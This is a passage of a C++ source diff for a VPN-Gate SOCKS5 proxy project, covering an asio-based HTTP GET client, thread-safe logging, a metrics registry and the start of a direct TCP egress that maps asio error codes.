const std::string name = to_lower(line.substr(0, colon));
|
||||
std::string value = line.substr(colon + 1);
|
||||
while (!value.empty() && std::isspace(static_cast<unsigned char>(value.front())))
|
||||
value.erase(value.begin());
|
||||
|
||||
if (name == "content-length") {
|
||||
size_t v = 0;
|
||||
const auto r = std::from_chars(value.data(), value.data() + value.size(), v);
|
||||
if (r.ec == std::errc{}) {
|
||||
content_length_ = v;
|
||||
have_content_length_ = true;
|
||||
}
|
||||
} else if (name == "transfer-encoding") {
|
||||
if (to_lower(value).find("chunked") != std::string::npos) chunked_ = true;
|
||||
} else if (name == "location") {
|
||||
location = value;
|
||||
}
|
||||
}
|
||||
|
||||
if (status >= 300 && status < 400 && !location.empty()) {
|
||||
if (redirects_left_ <= 0)
|
||||
return finish(make_error_code(Error::UpstreamFailure), {});
|
||||
const std::string next = resolve_redirect(url_, location);
|
||||
LOG_DEBUG(kMod, "redirect {} -> {}", resp_.status, next);
|
||||
Url u;
|
||||
if (!parse_url(next, &u))
|
||||
return finish(make_error_code(Error::UpstreamFailure), {});
|
||||
timer_.cancel();
|
||||
auto follow = std::make_shared<Fetcher>(io_, std::move(u), opts_,
|
||||
redirects_left_ - 1,
|
||||
std::move(handler_));
|
||||
done_ = true; // ownership of the handler has moved to `follow`
|
||||
follow->start();
|
||||
return;
|
||||
}
|
||||
|
||||
// Anything that is not a 2xx carries no body we would ever use -- our only
|
||||
// caller wants a file. Fail now rather than handing an error page to the
|
||||
// CSV parser and letting it report a confusing "not a VPNGate response".
|
||||
// The status is still passed back so the caller can log it.
|
||||
if (status < 200 || status >= 300) {
|
||||
Response r;
|
||||
r.status = status;
|
||||
LOG_WARN(kMod, "GET {}://{}{} -> HTTP {}", url_.scheme, url_.host,
|
||||
url_.target, status);
|
||||
return finish(make_error_code(Error::UpstreamFailure), std::move(r));
|
||||
}
|
||||
|
||||
if (have_content_length_ && content_length_ > opts_.max_bytes)
|
||||
return finish(make_error_code(Error::ResourceExhausted), {});
|
||||
|
||||
// Whatever async_read_until over-read is already body.
|
||||
if (buf_.size() > 0) {
|
||||
const size_t take = buf_.size();
|
||||
resp_.body.append(asio::buffers_begin(buf_.data()),
|
||||
asio::buffers_begin(buf_.data()) +
|
||||
static_cast<long>(take));
|
||||
buf_.consume(take);
|
||||
}
|
||||
read_body();
|
||||
}
|
||||
|
||||
void read_body() {
|
||||
if (resp_.body.size() > opts_.max_bytes)
|
||||
return finish(make_error_code(Error::ResourceExhausted), {});
|
||||
if (have_content_length_ && resp_.body.size() >= content_length_) {
|
||||
resp_.body.resize(content_length_);
|
||||
return finish({}, std::move(resp_));
|
||||
}
|
||||
|
||||
auto self = shared_from_this();
|
||||
auto on_read = [self](std::error_code ec, size_t n) {
|
||||
if (n > 0) {
|
||||
self->resp_.body.append(
|
||||
asio::buffers_begin(self->buf_.data()),
|
||||
asio::buffers_begin(self->buf_.data()) + static_cast<long>(n));
|
||||
self->buf_.consume(n);
|
||||
}
|
||||
if (ec == asio::error::eof ||
|
||||
ec == asio::ssl::error::stream_truncated) {
|
||||
// Server closed: for "Connection: close" responses this is the normal
|
||||
// end of body.
|
||||
if (self->chunked_) self->dechunk();
|
||||
return self->finish({}, std::move(self->resp_));
|
||||
}
|
||||
if (ec) return self->finish(ec, {});
|
||||
self->read_body();
|
||||
};
|
||||
|
||||
constexpr size_t kChunk = 64 * 1024;
|
||||
if (ssl_stream_)
|
||||
ssl_stream_->async_read_some(buf_.prepare(kChunk),
|
||||
[self, on_read](std::error_code ec, size_t n) {
|
||||
self->buf_.commit(n);
|
||||
on_read(ec, n);
|
||||
});
|
||||
else
|
||||
plain_->async_read_some(buf_.prepare(kChunk),
|
||||
[self, on_read](std::error_code ec, size_t n) {
|
||||
self->buf_.commit(n);
|
||||
on_read(ec, n);
|
||||
});
|
||||
}
|
||||
|
||||
// Minimal chunked-transfer decoder applied once the body is fully buffered.
|
||||
void dechunk() {
|
||||
std::string out;
|
||||
out.reserve(resp_.body.size());
|
||||
size_t pos = 0;
|
||||
const std::string &in = resp_.body;
|
||||
while (pos < in.size()) {
|
||||
const auto eol = in.find("\r\n", pos);
|
||||
if (eol == std::string::npos) break;
|
||||
size_t len = 0;
|
||||
const std::string hex = in.substr(pos, eol - pos);
|
||||
const auto semi = hex.find(';'); // chunk extensions
|
||||
const std::string hex_only = semi == std::string::npos ? hex : hex.substr(0, semi);
|
||||
const auto r = std::from_chars(hex_only.data(),
|
||||
hex_only.data() + hex_only.size(), len, 16);
|
||||
if (r.ec != std::errc{}) break;
|
||||
pos = eol + 2;
|
||||
if (len == 0) break;
|
||||
if (pos + len > in.size()) break;
|
||||
out.append(in, pos, len);
|
||||
pos += len + 2; // skip the chunk's trailing CRLF
|
||||
}
|
||||
resp_.body = std::move(out);
|
||||
}
|
||||
|
||||
void finish(std::error_code ec, Response r) {
|
||||
if (done_) return;
|
||||
done_ = true;
|
||||
timer_.cancel();
|
||||
close_transport();
|
||||
if (handler_) {
|
||||
auto h = std::move(handler_);
|
||||
handler_ = nullptr;
|
||||
h(ec, std::move(r));
|
||||
}
|
||||
}
|
||||
|
||||
void close_transport() {
|
||||
std::error_code ignored;
|
||||
if (ssl_stream_) ssl_stream_->next_layer().close(ignored);
|
||||
if (plain_) plain_->close(ignored);
|
||||
}
|
||||
|
||||
asio::io_context &io_;
|
||||
asio::ip::tcp::resolver resolver_;
|
||||
asio::steady_timer timer_;
|
||||
Url url_;
|
||||
Options opts_;
|
||||
int redirects_left_;
|
||||
Handler handler_;
|
||||
|
||||
std::unique_ptr<asio::ip::tcp::socket> plain_;
|
||||
std::unique_ptr<asio::ssl::context> ssl_ctx_;
|
||||
std::unique_ptr<asio::ssl::stream<asio::ip::tcp::socket>> ssl_stream_;
|
||||
|
||||
asio::streambuf buf_;
|
||||
std::string request_;
|
||||
Response resp_;
|
||||
size_t content_length_ = 0;
|
||||
bool have_content_length_ = false;
|
||||
bool chunked_ = false;
|
||||
bool done_ = false;
|
||||
};
|
||||
|
||||
} // namespace
|
||||
|
||||
bool parse_url(const std::string &text, Url *out) {
|
||||
// Build into a local and assign only on success: callers reuse a Url across
|
||||
// calls, and leaving stale fields behind (a port from the previous parse, for
|
||||
// instance) is exactly the kind of bug that only shows up in production.
|
||||
Url u;
|
||||
|
||||
const auto scheme_end = text.find("://");
|
||||
if (scheme_end == std::string::npos) return false;
|
||||
u.scheme = to_lower(text.substr(0, scheme_end));
|
||||
if (u.scheme != "http" && u.scheme != "https") return false;
|
||||
|
||||
const size_t host_start = scheme_end + 3;
|
||||
const size_t path_start = text.find('/', host_start);
|
||||
std::string hostport = path_start == std::string::npos
|
||||
? text.substr(host_start)
|
||||
: text.substr(host_start, path_start - host_start);
|
||||
u.target = path_start == std::string::npos ? "/" : text.substr(path_start);
|
||||
if (hostport.empty()) return false;
|
||||
|
||||
if (hostport.front() == '[') { // [::1]:8080
|
||||
const auto close = hostport.find(']');
|
||||
if (close == std::string::npos) return false;
|
||||
u.host = hostport.substr(1, close - 1);
|
||||
if (close + 1 < hostport.size() && hostport[close + 1] == ':')
|
||||
u.port = hostport.substr(close + 2);
|
||||
} else {
|
||||
const auto colon = hostport.rfind(':');
|
||||
if (colon == std::string::npos) {
|
||||
u.host = hostport;
|
||||
} else {
|
||||
u.host = hostport.substr(0, colon);
|
||||
u.port = hostport.substr(colon + 1);
|
||||
}
|
||||
}
|
||||
if (u.host.empty()) return false;
|
||||
if (u.port.empty()) u.port = (u.scheme == "https") ? "443" : "80";
|
||||
|
||||
*out = std::move(u);
|
||||
return true;
|
||||
}
|
||||
|
||||
void async_get(asio::io_context &io, const std::string &url,
|
||||
const Options &opts, Handler handler) {
|
||||
Url u;
|
||||
if (!parse_url(url, &u)) {
|
||||
asio::post(io, [h = std::move(handler)]() mutable {
|
||||
h(make_error_code(Error::ConfigInvalid), {});
|
||||
});
|
||||
return;
|
||||
}
|
||||
LOG_DEBUG(kMod, "GET {}", url);
|
||||
std::make_shared<Fetcher>(io, std::move(u), opts, opts.max_redirects,
|
||||
std::move(handler))
|
||||
->start();
|
||||
}
|
||||
|
||||
} // namespace ovg::http
|
||||
@@ -0,0 +1,47 @@
|
||||
// A small async HTTP/1.1 GET client over asio, with TLS support.
|
||||
//
|
||||
// Written rather than pulled in (libcurl) because we need exactly one verb, and
|
||||
// libcurl's threading/blocking model does not fit the single control thread we
|
||||
// run everything else on. Scope is deliberately narrow: GET, redirects, a hard
|
||||
// byte cap, and a deadline.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <chrono>
|
||||
#include <functional>
|
||||
#include <string>
|
||||
#include <system_error>
|
||||
|
||||
namespace ovg::http {
|
||||
|
||||
struct Url {
|
||||
std::string scheme; // "http" or "https"
|
||||
std::string host;
|
||||
std::string port; // always populated (defaulted from scheme)
|
||||
std::string target; // path + query, starts with '/'
|
||||
};
|
||||
|
||||
bool parse_url(const std::string &text, Url *out);
|
||||
|
||||
struct Response {
|
||||
int status = 0;
|
||||
std::string body;
|
||||
};
|
||||
|
||||
using Handler = std::function<void(std::error_code, Response)>;
|
||||
|
||||
struct Options {
|
||||
std::chrono::milliseconds timeout{30000};
|
||||
size_t max_bytes = 32u * 1024 * 1024;
|
||||
int max_redirects = 3;
|
||||
std::string user_agent = "openvpngate/0.1";
|
||||
// TLS peer verification. Only disable for a mirror you control.
|
||||
bool verify_tls = true;
|
||||
};
|
||||
|
||||
// Invokes `handler` exactly once, on `io`'s executor.
|
||||
void async_get(asio::io_context &io, const std::string &url,
|
||||
const Options &opts, Handler handler);
|
||||
|
||||
} // namespace ovg::http
|
||||
@@ -0,0 +1,107 @@
|
||||
#include "common/logging.h"
|
||||
|
||||
#include <atomic>
|
||||
#include <chrono>
|
||||
#include <cstdio>
|
||||
#include <ctime>
|
||||
#include <mutex>
|
||||
#include <unordered_map>
|
||||
|
||||
namespace ovg::log {
|
||||
namespace {
|
||||
|
||||
std::atomic<Level> g_level{Level::Info};
|
||||
|
||||
std::mutex g_mu; // guards g_out and g_modules
|
||||
std::FILE *g_out = stderr;
|
||||
bool g_out_owned = false;
|
||||
std::unordered_map<std::string, Level> g_modules;
|
||||
std::atomic<bool> g_have_module_overrides{false};
|
||||
|
||||
} // namespace
|
||||
|
||||
Level level_from_string(std::string_view s) {
|
||||
if (s == "trace") return Level::Trace;
|
||||
if (s == "debug") return Level::Debug;
|
||||
if (s == "info") return Level::Info;
|
||||
if (s == "warn" || s == "warning") return Level::Warn;
|
||||
if (s == "error") return Level::Error;
|
||||
if (s == "off" || s == "none") return Level::Off;
|
||||
return Level::Info;
|
||||
}
|
||||
|
||||
const char *level_name(Level l) {
|
||||
switch (l) {
|
||||
case Level::Trace: return "TRACE";
|
||||
case Level::Debug: return "DEBUG";
|
||||
case Level::Info: return "INFO ";
|
||||
case Level::Warn: return "WARN ";
|
||||
case Level::Error: return "ERROR";
|
||||
case Level::Off: return "OFF ";
|
||||
}
|
||||
return "?????";
|
||||
}
|
||||
|
||||
void set_level(Level l) { g_level.store(l, std::memory_order_relaxed); }
|
||||
Level level() { return g_level.load(std::memory_order_relaxed); }
|
||||
|
||||
void set_module_level(std::string_view module, Level l) {
|
||||
std::lock_guard lk(g_mu);
|
||||
g_modules[std::string(module)] = l;
|
||||
g_have_module_overrides.store(true, std::memory_order_release);
|
||||
}
|
||||
|
||||
bool set_output_file(const std::string &path, std::string *err) {
|
||||
std::FILE *f = stderr;
|
||||
bool owned = false;
|
||||
if (path != "-" && !path.empty()) {
|
||||
f = std::fopen(path.c_str(), "ae");
|
||||
if (!f) {
|
||||
if (err) *err = "cannot open log file: " + path;
|
||||
return false;
|
||||
}
|
||||
owned = true;
|
||||
}
|
||||
std::lock_guard lk(g_mu);
|
||||
if (g_out_owned && g_out) std::fclose(g_out);
|
||||
g_out = f;
|
||||
g_out_owned = owned;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool enabled(Level l, std::string_view module) {
|
||||
// Fast path: no per-module overrides configured at all.
|
||||
if (!g_have_module_overrides.load(std::memory_order_acquire))
|
||||
return l >= g_level.load(std::memory_order_relaxed);
|
||||
|
||||
std::lock_guard lk(g_mu);
|
||||
auto it = g_modules.find(std::string(module));
|
||||
if (it != g_modules.end()) return l >= it->second;
|
||||
return l >= g_level.load(std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
void write(Level l, std::string_view module, std::string_view message) {
|
||||
using namespace std::chrono;
|
||||
const auto now = system_clock::now();
|
||||
const auto secs = time_point_cast<seconds>(now);
|
||||
const auto ms = duration_cast<milliseconds>(now - secs).count();
|
||||
const std::time_t tt = system_clock::to_time_t(now);
|
||||
|
||||
std::tm tm{};
|
||||
gmtime_r(&tt, &tm);
|
||||
|
||||
// Generous: the compiler cannot prove tm_year fits in 4 digits, and a
|
||||
// truncated timestamp in a log is worse than 16 wasted stack bytes.
|
||||
char stamp[64];
|
||||
std::snprintf(stamp, sizeof(stamp), "%04d-%02d-%02dT%02d:%02d:%02d.%03dZ",
|
||||
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour,
|
||||
tm.tm_min, tm.tm_sec, static_cast<int>(ms));
|
||||
|
||||
std::lock_guard lk(g_mu);
|
||||
std::fprintf(g_out, "%s %s [%.*s] %.*s\n", stamp, level_name(l),
|
||||
static_cast<int>(module.size()), module.data(),
|
||||
static_cast<int>(message.size()), message.data());
|
||||
std::fflush(g_out);
|
||||
}
|
||||
|
||||
} // namespace ovg::log
|
||||
@@ -0,0 +1,63 @@
|
||||
// Leveled, thread-safe logging with a module tag.
|
||||
//
|
||||
// Usage:
|
||||
// LOG_INFO("socks5", "session {} connected to {}", id, target);
|
||||
//
|
||||
// The module tag is what makes production logs readable: every line can be
|
||||
// traced back to the subsystem that emitted it, and levels can be raised for
|
||||
// one module without drowning in the rest.
|
||||
#pragma once
|
||||
|
||||
#include <fmt/format.h>
|
||||
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
|
||||
namespace ovg::log {
|
||||
|
||||
enum class Level : int { Trace = 0, Debug, Info, Warn, Error, Off };
|
||||
|
||||
// Parses "trace"/"debug"/"info"/"warn"/"error"/"off"; returns Info on garbage.
|
||||
Level level_from_string(std::string_view s);
|
||||
const char *level_name(Level l);
|
||||
|
||||
void set_level(Level l);
|
||||
Level level();
|
||||
|
||||
// Per-module override, e.g. set_module_level("netstack", Level::Debug).
|
||||
void set_module_level(std::string_view module, Level l);
|
||||
|
||||
// Redirect output. Default is stderr. Path "-" means stderr.
|
||||
bool set_output_file(const std::string &path, std::string *err);
|
||||
|
||||
bool enabled(Level l, std::string_view module);
|
||||
|
||||
// Emits one line: "2026-07-27T17:04:11.123Z INFO [socks5] message"
|
||||
void write(Level l, std::string_view module, std::string_view message);
|
||||
|
||||
namespace detail {
|
||||
// fmt::format can throw on a bad format string; a logging call must never take
|
||||
// the process down, so failures degrade into a visible placeholder.
|
||||
template <typename... Args>
|
||||
std::string safe_format(fmt::format_string<Args...> f, Args &&...args) {
|
||||
try {
|
||||
return fmt::format(f, std::forward<Args>(args)...);
|
||||
} catch (const std::exception &e) {
|
||||
return std::string("<log format error: ") + e.what() + ">";
|
||||
}
|
||||
}
|
||||
} // namespace detail
|
||||
|
||||
} // namespace ovg::log
|
||||
|
||||
#define OVG_LOG(lvl, mod, ...) \
|
||||
do { \
|
||||
if (::ovg::log::enabled(lvl, mod)) \
|
||||
::ovg::log::write(lvl, mod, ::ovg::log::detail::safe_format(__VA_ARGS__)); \
|
||||
} while (0)
|
||||
|
||||
#define LOG_TRACE(mod, ...) OVG_LOG(::ovg::log::Level::Trace, mod, __VA_ARGS__)
|
||||
#define LOG_DEBUG(mod, ...) OVG_LOG(::ovg::log::Level::Debug, mod, __VA_ARGS__)
|
||||
#define LOG_INFO(mod, ...) OVG_LOG(::ovg::log::Level::Info, mod, __VA_ARGS__)
|
||||
#define LOG_WARN(mod, ...) OVG_LOG(::ovg::log::Level::Warn, mod, __VA_ARGS__)
|
||||
#define LOG_ERROR(mod, ...) OVG_LOG(::ovg::log::Level::Error, mod, __VA_ARGS__)
|
||||
@@ -0,0 +1,46 @@
|
||||
#include "common/metrics.h"
|
||||
|
||||
#include <algorithm>
|
||||
|
||||
namespace ovg::metrics {
|
||||
|
||||
Registry &Registry::instance() {
|
||||
static Registry r;
|
||||
return r;
|
||||
}
|
||||
|
||||
Counter *Registry::counter(const std::string &name, const std::string &help) {
|
||||
std::lock_guard lk(mu_);
|
||||
for (auto &e : counters_)
|
||||
if (e.name == name) return e.c.get();
|
||||
counters_.push_back({name, help, std::make_unique<Counter>()});
|
||||
return counters_.back().c.get();
|
||||
}
|
||||
|
||||
Gauge *Registry::gauge(const std::string &name, const std::string &help) {
|
||||
std::lock_guard lk(mu_);
|
||||
for (auto &e : gauges_)
|
||||
if (e.name == name) return e.g.get();
|
||||
gauges_.push_back({name, help, std::make_unique<Gauge>()});
|
||||
return gauges_.back().g.get();
|
||||
}
|
||||
|
||||
std::string Registry::render_prometheus() const {
|
||||
std::lock_guard lk(mu_);
|
||||
std::string out;
|
||||
out.reserve(4096);
|
||||
|
||||
for (const auto &e : counters_) {
|
||||
if (!e.help.empty()) out += "# HELP " + e.name + " " + e.help + "\n";
|
||||
out += "# TYPE " + e.name + " counter\n";
|
||||
out += e.name + " " + std::to_string(e.c->value()) + "\n";
|
||||
}
|
||||
for (const auto &e : gauges_) {
|
||||
if (!e.help.empty()) out += "# HELP " + e.name + " " + e.help + "\n";
|
||||
out += "# TYPE " + e.name + " gauge\n";
|
||||
out += e.name + " " + std::to_string(e.g->value()) + "\n";
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
} // namespace ovg::metrics
|
||||
@@ -0,0 +1,68 @@
|
||||
// Minimal metrics registry with Prometheus text exposition.
|
||||
//
|
||||
// Deliberately tiny: counters and gauges only. Handles are stable pointers so
|
||||
// hot paths do an atomic add with no lookup and no lock.
|
||||
#pragma once
|
||||
|
||||
#include <atomic>
|
||||
#include <cstdint>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace ovg::metrics {
|
||||
|
||||
class Counter {
|
||||
public:
|
||||
void inc(uint64_t n = 1) { v_.fetch_add(n, std::memory_order_relaxed); }
|
||||
uint64_t value() const { return v_.load(std::memory_order_relaxed); }
|
||||
|
||||
private:
|
||||
std::atomic<uint64_t> v_{0};
|
||||
};
|
||||
|
||||
class Gauge {
|
||||
public:
|
||||
void set(int64_t n) { v_.store(n, std::memory_order_relaxed); }
|
||||
void add(int64_t n) { v_.fetch_add(n, std::memory_order_relaxed); }
|
||||
void sub(int64_t n) { v_.fetch_sub(n, std::memory_order_relaxed); }
|
||||
int64_t value() const { return v_.load(std::memory_order_relaxed); }
|
||||
|
||||
private:
|
||||
std::atomic<int64_t> v_{0};
|
||||
};
|
||||
|
||||
class Registry {
|
||||
public:
|
||||
static Registry &instance();
|
||||
|
||||
// Handles live for the process lifetime; safe to cache in a static.
|
||||
Counter *counter(const std::string &name, const std::string &help = "");
|
||||
Gauge *gauge(const std::string &name, const std::string &help = "");
|
||||
|
||||
std::string render_prometheus() const;
|
||||
|
||||
private:
|
||||
struct CounterEntry {
|
||||
std::string name, help;
|
||||
std::unique_ptr<Counter> c;
|
||||
};
|
||||
struct GaugeEntry {
|
||||
std::string name, help;
|
||||
std::unique_ptr<Gauge> g;
|
||||
};
|
||||
|
||||
mutable std::mutex mu_;
|
||||
std::vector<CounterEntry> counters_;
|
||||
std::vector<GaugeEntry> gauges_;
|
||||
};
|
||||
|
||||
inline Counter *counter(const std::string &n, const std::string &help = "") {
|
||||
return Registry::instance().counter(n, help);
|
||||
}
|
||||
inline Gauge *gauge(const std::string &n, const std::string &help = "") {
|
||||
return Registry::instance().gauge(n, help);
|
||||
}
|
||||
|
||||
} // namespace ovg::metrics
|
||||
@@ -0,0 +1,37 @@
|
||||
// Deferred, serialized destruction for objects that a callback may be holding
|
||||
// a raw pointer to.
|
||||
//
|
||||
// Both transport implementations need it for the same reason. lwIP callbacks
|
||||
// carry a raw `this` as their callback_arg; asio socket operations carry an
|
||||
// implementation the socket must outlive. In both cases the object may not be
|
||||
// destroyed at the moment its last shared_ptr goes away, because that moment
|
||||
// can be inside a callback or on the wrong thread. Posting the destruction to
|
||||
// the owning strand gives "not now, and not concurrently" in one move.
|
||||
//
|
||||
// The handler captures a unique_ptr rather than a raw pointer on purpose: if
|
||||
// the io_context is destroyed while the handler is still queued, asio destroys
|
||||
// the handler, the unique_ptr goes with it, and the object is freed instead of
|
||||
// leaked.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <memory>
|
||||
#include <utility>
|
||||
|
||||
namespace ovg {
|
||||
|
||||
using Strand = asio::strand<asio::io_context::executor_type>;
|
||||
|
||||
template <class T>
|
||||
struct StrandDeleter {
|
||||
Strand strand;
|
||||
|
||||
void operator()(T *p) const {
|
||||
if (!p) return;
|
||||
std::unique_ptr<T> owned(p);
|
||||
asio::post(strand, [o = std::move(owned)]() mutable { o.reset(); });
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace ovg
|
||||
@@ -0,0 +1,676 @@
|
||||
#include "egress/direct_egress.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <deque>
|
||||
#include <utility>
|
||||
|
||||
#include "common/asio_compat.h"
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
#include "common/strand_deleter.h"
|
||||
|
||||
namespace ovg::egress {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "egress";
|
||||
|
||||
// The direct egress has no MTU of its own, but a datagram larger than this is
|
||||
// not going to survive any real path either, and a bounded buffer keeps a
|
||||
// hostile peer from sizing our allocations.
|
||||
constexpr size_t kMaxDatagram = 65535;
|
||||
|
||||
using netstack::Resolver;
|
||||
using netstack::TcpStream;
|
||||
using netstack::UdpSocket;
|
||||
|
||||
// asio reports a would-be-fatal condition through a handful of codes that mean
|
||||
// the same thing to us; anything else passes through unchanged so the SOCKS5
|
||||
// reply code stays honest (see socks5_reply_for).
|
||||
//
|
||||
// Success is normalised to a default-constructed code. asio's own success
|
||||
// belongs to asio's category, so `ec == std::error_code{}` is false for it even
|
||||
// though `if (ec)` is false too -- and the lwIP transport reports plain `{}`.
|
||||
// Two backends behind one interface must not differ in something a caller can
|
||||
// observe with ==.
|
||||
//
|
||||
// The same argument forces the connect-class codes below to be translated
|
||||
// rather than passed through. asio's category is *not* the system category and,
|
||||
// in the version we build against, does not implement default_error_condition
|
||||
// against std::errc at all:
|
||||
//
|
||||
// std::error_code ec = asio::error::connection_refused; // 111
|
||||
// ec == std::errc::connection_refused // -> false!
|
||||
//
|
||||
// so a caller doing the obvious errno comparison silently gets the fallback
|
||||
// branch. socks5_reply_for did exactly that and answered GENERAL_FAILURE (0x01)
|
||||
// for a refused connection, where the lwIP egress -- which reports
|
||||
// Error::ConnectionRefused -- correctly answered 0x05. Mapping here is the fix
|
||||
// that holds for every caller instead of one: above this line there are only
|
||||
// ovg::Error codes, whichever transport produced them.
|
||||
std::error_code map_ec(const std::error_code &ec) {
|
||||
if (!ec) return {};
|
||||
if (ec == asio::error::operation_aborted) return make_error_code(Error::Cancelled);
|
||||
if (ec == asio::error::connection_refused)
|
||||
return make_error_code(Error::ConnectionRefused);
|
||||
if (ec == asio::error::host_unreachable || ec == asio::error::host_not_found ||
|
||||
ec == asio::error::host_not_found_try_again)
|
||||
return make_error_code(Error::HostUnreachable);
|
||||
if (ec == asio::error::network_unreachable ||
|
||||
ec == asio::error::network_down || ec == asio::error::network_reset)
|
||||
return make_error_code(Error::NetworkUnreachable);
|
||||
if (ec == asio::error::timed_out) return make_error_code(Error::Timeout);
|
||||
if (ec == asio::error::connection_reset ||
|
||||
ec == asio::error::connection_aborted || ec == asio::error::broken_pipe)
|
||||
return make_error_code(Error::UpstreamFailure);
|
||||
return ec;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// TCP
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// Everything here runs on the stream's own strand, and the object is destroyed
|
||||
// on it too (StrandDeleter). That is what makes close() from one thread safe
|
||||
// against a read completing on another -- an asio socket is no more
|
||||
// thread-safe than lwIP is.
|
||||
class DirectTcpStream final : public TcpStream,
|
||||
public std::enable_shared_from_this<DirectTcpStream> {
|
||||
public:
|
||||
using Ptr = std::shared_ptr<DirectTcpStream>;
|
||||
|
||||
static Ptr create(asio::io_context &io, asio::any_io_executor cb_ex) {
|
||||
Strand strand = asio::make_strand(io);
|
||||
return Ptr(new DirectTcpStream(strand, std::move(cb_ex)),
|
||||
StrandDeleter<DirectTcpStream>{strand});
|
||||
}
|
||||
|
||||
~DirectTcpStream() override {
|
||||
// On the strand, so no socket handler is running against us.
|
||||
std::error_code ignored;
|
||||
sock_.close(ignored);
|
||||
const auto ec = make_error_code(Error::Cancelled);
|
||||
if (read_h_) asio::post(cb_ex_, [h = std::move(read_h_), ec] { h(ec, 0); });
|
||||
if (write_h_) {
|
||||
asio::post(cb_ex_, [h = std::move(write_h_), ec] { h(ec, 0); });
|
||||
}
|
||||
if (on_gone_) on_gone_();
|
||||
}
|
||||
|
||||
// Runs when the stream is actually destroyed, which is what the egress's
|
||||
// "active connections" gauge is supposed to count -- not when the caller
|
||||
// stopped reading from it.
|
||||
void set_on_gone(std::function<void()> f) { on_gone_ = std::move(f); }
|
||||
|
||||
using ConnectHandler = std::function<void(const std::error_code &)>;
|
||||
|
||||
void start_connect(const Endpoint &target, Millis timeout, ConnectHandler h) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, target, timeout, h = std::move(h)]() mutable {
|
||||
self->do_connect(target, timeout, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
// TcpStream
|
||||
void async_read_some(asio::mutable_buffer buf, ReadHandler h) override {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, buf, h = std::move(h)]() mutable {
|
||||
self->do_read(buf, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void async_write(asio::const_buffer buf, WriteHandler h) override {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, buf, h = std::move(h)]() mutable {
|
||||
self->do_write(buf, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void shutdown_send() override {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self] {
|
||||
if (!self->sock_.is_open()) return;
|
||||
std::error_code ignored;
|
||||
self->sock_.shutdown(asio::ip::tcp::socket::shutdown_send, ignored);
|
||||
});
|
||||
}
|
||||
|
||||
void close() override {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self] { self->do_close(); });
|
||||
}
|
||||
|
||||
bool is_open() const override { return open_.load(std::memory_order_acquire); }
|
||||
Endpoint local_endpoint() const override { return local_; }
|
||||
Endpoint remote_endpoint() const override { return remote_; }
|
||||
uint64_t bytes_written() const override {
|
||||
return tx_.load(std::memory_order_relaxed);
|
||||
}
|
||||
uint64_t bytes_read() const override {
|
||||
return rx_.load(std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
private:
|
||||
DirectTcpStream(Strand strand, asio::any_io_executor cb_ex)
|
||||
: strand_(strand),
|
||||
cb_ex_(std::move(cb_ex)),
|
||||
sock_(strand),
|
||||
timer_(strand) {}
|
||||
|
||||
void do_connect(const Endpoint &target, Millis timeout, ConnectHandler h) {
|
||||
connect_h_ = std::move(h);
|
||||
if (target.is_domain() || !target.address().valid()) {
|
||||
// The egress resolved it before getting here; a name at this point is a
|
||||
// bug, not something to paper over with another lookup.
|
||||
finish_connect(make_error_code(Error::Internal));
|
||||
return;
|
||||
}
|
||||
const auto ep = to_asio_tcp(target);
|
||||
remote_ = target;
|
||||
|
||||
std::error_code ec;
|
||||
sock_.open(ep.protocol(), ec);
|
||||
if (ec) {
|
||||
finish_connect(ec);
|
||||
return;
|
||||
}
|
||||
sock_.set_option(asio::ip::tcp::no_delay(true), ec);
|
||||
|
||||
if (timeout.count() > 0) {
|
||||
timer_.expires_after(timeout);
|
||||
auto self = shared_from_this();
|
||||
timer_.async_wait([self](const std::error_code &tec) {
|
||||
if (tec || !self->connecting_) return;
|
||||
std::error_code ignored;
|
||||
self->sock_.close(ignored); // makes the pending connect fail
|
||||
self->timed_out_ = true;
|
||||
});
|
||||
}
|
||||
|
||||
connecting_ = true;
|
||||
auto self = shared_from_this();
|
||||
sock_.async_connect(ep, [self](const std::error_code &cec) {
|
||||
if (self->timed_out_) {
|
||||
self->finish_connect(make_error_code(Error::Timeout));
|
||||
return;
|
||||
}
|
||||
if (cec) {
|
||||
self->finish_connect(map_ec(cec));
|
||||
return;
|
||||
}
|
||||
std::error_code lec;
|
||||
self->local_ = from_asio(self->sock_.local_endpoint(lec));
|
||||
self->finish_connect({});
|
||||
});
|
||||
}
|
||||
|
||||
void finish_connect(const std::error_code &ec) {
|
||||
if (!connecting_ && !connect_h_) return;
|
||||
connecting_ = false;
|
||||
timer_.cancel();
|
||||
if (!ec) open_.store(true, std::memory_order_release);
|
||||
if (connect_h_) {
|
||||
auto h = std::move(connect_h_);
|
||||
connect_h_ = nullptr;
|
||||
h(ec);
|
||||
}
|
||||
}
|
||||
|
||||
void do_read(asio::mutable_buffer buf, ReadHandler h) {
|
||||
if (read_h_) {
|
||||
LOG_ERROR(kMod, "overlapping async_read_some on {}", remote_.to_string());
|
||||
post_read(std::move(h), make_error_code(Error::Internal), 0);
|
||||
return;
|
||||
}
|
||||
if (buf.size() == 0) {
|
||||
post_read(std::move(h), {}, 0);
|
||||
return;
|
||||
}
|
||||
if (!sock_.is_open()) {
|
||||
